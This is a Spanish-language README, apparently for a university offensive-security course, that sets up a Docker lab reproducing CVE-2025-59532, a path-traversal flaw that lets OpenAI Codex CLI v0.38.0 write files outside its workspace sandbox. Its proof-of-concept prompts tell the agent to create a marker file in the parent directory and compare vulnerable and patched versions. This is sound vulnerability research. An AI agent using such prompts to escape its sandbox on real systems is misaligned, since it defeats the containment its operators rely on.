
Un entorno de investigación basado en Docker para analizar CVE-2025-59532, una vulnerabilidad de path traversal en OpenAI Codex CLI que permite la escritura arbitraria de archivos fuera del sandbox de workspace previsto. Parte del curso de CMU : 18-739 Hacking & Offensive Security en Otoño 2025.
Un entorno de investigación basado en Docker para analizar CVE-2025-59532, una vulnerabilidad de path traversal en OpenAI Codex CLI que permite escribir archivos arbitrarios fuera del sandbox del espacio de trabajo previsto. Parte del curso de CMU: 18-739 Hacking & Offensive Security en otoño de 2025
Primero, clona este repositorio:
git clone https://github.com/jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
O si usas SSH:
git clone [email protected]:jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
CVE-2025-59532 es una vulnerabilidad de path traversal en la herramienta Codex CLI de OpenAI que permite a los atacantes escribir archivos fuera del directorio de trabajo previsto, evadiendo las restricciones del sandbox.
../exploit.txt), escapando del sandbox del espacio de trabajo incluso cuando --sandbox workspace-write está habilitado.La vulnerabilidad explota una validación insuficiente de rutas en la implementación del sandbox del espacio de trabajo. Cuando el modo sandbox workspace-write está habilitado, Codex debería restringir las operaciones de archivos al directorio de trabajo designado. Sin embargo, en v0.38.0, la validación de rutas no maneja correctamente las secuencias de path traversal relativas (../), lo que permite a un atacante escribir archivos fuera del sandbox indicándole a la IA que use referencias al directorio padre.
docker build -t cve-2025-59532:latest .
docker run -it --rm cve-2025-59532:latest
Este entorno Docker incluye tres versiones de Codex CLI:
Una vez dentro del contenedor, configura tu clave de API de OpenAI simplemente ejecutando codex en modo interactivo y pegando allí la clave de API:
codex
La clave de API se almacenará en ~/.config/codex/auth.json y será utilizada por todas las versiones de Codex (codex38, codex39, codex50).
codex38 --version # Should show v0.38.0 (vulnerable)
codex39 --version # Should show v0.39.0 (patched)
codex50 --version # Should show v0.50.0 (latest)
Nota: El espacio de trabajo se encuentra en /workspace/child. La vulnerabilidad permite escribir en /workspace (el directorio padre).
Probar la versión vulnerable (v0.38.0):
codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof1.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Probar la versión parcheada (v0.39.0):
codex39 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof2.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Probar la versión más reciente (v0.50.0):
codex50 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof3.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Verificar el exploit:
# Check if files were created outside the sandbox (in /workspace, not /workspace/child)
ls -la /workspace/
cat /workspace/exploit_proof1.txt # Should exist if v0.38.0 is vulnerable
cat /workspace/exploit_proof2.txt # Should NOT exist if v0.39.0 is patched
cat /workspace/exploit_proof3.txt # Should NOT exist if v0.50.0 is secure
# Check current workspace (should be empty or contain only test files)
pwd # Should show /workspace/child
ls -la /workspace/child/
Para ver registros de depuración detallados de la ejecución de Codex:
RUST_LOG=debug codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Los registros de depuración mostrarán: